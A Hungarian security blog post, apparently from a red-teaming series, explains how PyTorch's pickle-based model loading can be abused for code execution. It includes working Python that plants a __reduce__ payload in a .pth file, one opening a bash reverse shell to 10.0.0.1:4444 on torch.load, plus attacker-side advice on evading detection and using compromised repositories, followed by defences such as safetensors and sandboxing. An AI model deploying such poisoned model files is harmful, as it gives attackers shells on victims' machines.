29.3.1 PyTorch pickle sebezhetőségek kihasználása

2025.10.06.
AI Biztonság Blog

A PyTorch modellek mentési mechanizmusa, amely alapértelmezetten a Python beépített pickle moduljára támaszkodik, egyike a legközvetlenebb és leghatékonyabb támadási vektoroknak az MI ellátási láncban. Ez nem egy klasszikus sebezhetőség, hanem egy „by design” funkcionalitás, amely egy támadó kezében tetszőleges kódfuttatási (Remote Code Execution – RCE) képességgel ruházza fel a preparált modellfájlt. A kihasználás lényege nem a modell architektúrájának vagy súlyainak manipulálása, hanem egy rosszindulatú objektum becsempészése a szerializált adatfolyamba.

Kapcsolati űrlap

AI Biztonság kérdésed van? Itt elérsz minket:

A pickle protokoll: Áldás és átok

A pickle egy rendkívül rugalmas szerializációs protokoll, amely Python objektumokat képes bájtsorozattá alakítani és vissza. A rugalmasságának kulcsa a __reduce__ speciális metódus. Amikor a pickle egy objektumot deszerializál, megnézi, hogy az implementálja-e a __reduce__ metódust. Ha igen, akkor a metódus által visszaadott callable objektumot (pl. egy függvényt) és annak argumentumait használja fel az objektum újraalkotásához.

Ez a mechanizmus a támadók számára aranybánya. Létrehozhatunk egy olyan osztályt, amelynek __reduce__ metódusa nem egy konstruktort, hanem például az os.system vagy a subprocess.run függvényt adja vissza egy tetszőleges parancs argumentummal. Amikor a gyanútlan áldozat betölti a mi preparált `.pth` fájlunkat a torch.load() függvénnyel, a pickle automatikusan végrehajtja a parancsunkat az áldozat rendszerén, annak jogosultságaival.

A támadás gyökere: A `__reduce__` metódus

A támadás teljes mértékben a __reduce__ metódus rosszindulatú implementációján alapul. A metódusnak egy tuple-t kell visszaadnia, melynek első eleme a meghívandó függvény, a második pedig a függvény argumentumait tartalmazó tuple.

import os

class ArbitraryCodeExecutor:
 def __reduce__(self):
 # Itt határozzuk meg, hogy a `pickle` melyik függvényt
 # milyen argumentumokkal hívja meg a deszerializáció során.
 cmd = ('calc.exe') # Windows példa, lehetne bármilyen shell parancs
 return (os.system, (cmd,))

A támadás anatómiája: Lépésről lépésre

A támadás kivitelezése riasztóan egyszerű. Nincs szükség komplex exploitokra vagy a PyTorch belső működésének mély ismeretére.

1. A rosszindulatú kódcsomag (payload) elkészítése

Első lépésként definiáljuk a fentihez hasonló, rosszindulatú __reduce__ metódust tartalmazó osztályt. A célparancs lehet egy egyszerű demonstráció (mint a `calc.exe`), vagy egy sokkal veszélyesebb művelet, például egy reverse shell indítása.

2. A csali modell létrehozása és mentése

Nem szükséges egy teljes, működő neurális hálót létrehoznunk. Elég egy egyszerű Python szótárat (dictionary) létrehozni, amelybe beletesszük a rosszindulatú osztályunk egy példányát. Ezt a szótárat aztán a torch.save() segítségével elmentjük egy `.pth` vagy `.pt` kiterjesztésű fájlba.

import torch
import os
import subprocess # Egy robusztusabb alternatíva

# 1. A rosszindulatú osztály definiálása
class ReverseShellPayload:
 def __reduce__(self):
 # Egy reverse shell parancs. A támadó IP és port helyére a saját adataidat írd.
 # Linux/macOS esetén:
 cmd = "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
 return (subprocess.run, (cmd,), {'shell': True})

# 2. A payload beágyazása és mentése
malicious_object = ReverseShellPayload()
dummy_data = {'malware': malicious_object}

torch.save(dummy_data, 'sulyok_es_hatsoajto.pth')
print("Rosszindulatú modellfájl ('sulyok_es_hatsoajto.pth') létrehozva.")

3. A detonáció: A modell betöltése

Az áldozat oldalán a támadás akkor következik be, amikor a gyanútlan felhasználó vagy automatizált rendszer betölti a fájlt a szokásos torch.load() paranccsal. Ebben a pillanatban a háttérben lefut a __reduce__ által definiált parancs.

1. Támadó Payload elkészítése malicious_class.__reduce__() torch.save() modell.pth torch.load() 2. Áldozat Kódfuttatás (RCE) os.system(parancs)

Kritikai elemzés: A módszer erősségei és korlátai

Támadóként fontos tisztában lenned a választott technika előnyeivel és hátrányaival. Ez segít a megfelelő forgatókönyv kiválasztásában és a lebukás elkerülésében.

Támadói szempont Leírás és értékelés
Hatékonyság Rendkívül magas. Közvetlen, megbízható RCE-t biztosít, ami a támadói célok csúcsát jelenti. A payload végrehajtása szinte garantált, ha a fájlt betöltik.
Egyszerűség A kivitelezés triviális. Nem igényel semmilyen speciális tudást a keretrendszer belső működéséről, csupán alap Python ismereteket.
Lopakodás és detektálás Vegyes. A statikus analízis (pl. pickle tartalmának vizsgálata) képes lehet kiszűrni az ismert rosszindulatú mintákat (pl. `os.system`). Azonban a kifinomultabb, obfuszkált payloadok elkerülhetik az egyszerű szkennereket. A dinamikus analízis (homokozóban futtatás) már sokkal hatékonyabb a detektálásban.
Függőség Jelentős. A támadás sikere teljes mértékben a social engineeringen vagy egy kompromittált terjesztési csatornán (pl. feltört Hugging Face repo) múlik. Rá kell venned az áldozatot, hogy töltse le és futtassa a te fájlodat.

Védekezési stratégiák és az iparági válasz

A PyTorch közösség és a biztonsági kutatók is felismerték a pickle veszélyeit. A legfontosabb védekezési vonal a tudatosság és az alternatívák használata.

  • safetensors formátum használata: Ez a legfontosabb ellenintézkedés. A Hugging Face által kifejlesztett safetensors egy biztonságos alternatíva a modellek mentésére. Ez a formátum szigorúan elválasztja az adatokat (súlyok) a kódtól, és nem tartalmaz semmilyen végrehajtható elemet. Deszerializációja nem jár kódfuttatási kockázattal.
  • Csak megbízható forrás: Soha ne tölts be ismeretlen vagy nem ellenőrzött forrásból származó .pth fájlokat. Mindig ellenőrizd a modell készítőjét és a letöltési forrás integritását.
  • Modell-szkennerek: Léteznek eszközök (pl. a Hugging Face Hub beépített szkennere), amelyek megpróbálják detektálni a rosszindulatú kódot a pickle fájlokban. Ezek nem nyújtanak 100%-os védelmet, de egy elsődleges szűrőként hasznosak lehetnek.
  • Homokozó (Sandboxing): Ha mindenképpen be kell töltened egy nem megbízható modellt, tedd azt egy izolált, korlátozott jogosultságú környezetben (pl. Docker konténerben), hogy egy esetleges RCE ne tudjon kárt tenni a gazda rendszerben.

Összefoglalva, a PyTorch pickle alapú mentési mechanizmusa egy erőteljes, de kétélű fegyver. Red teamerként ez egy megbízható eszköz a kezünkben, de a védekező oldalon is egyre nő a tudatosság és terjednek a biztonságos alternatívák, mint a safetensors. A jövő egyértelműen a biztonságos szerializációs formátumoké.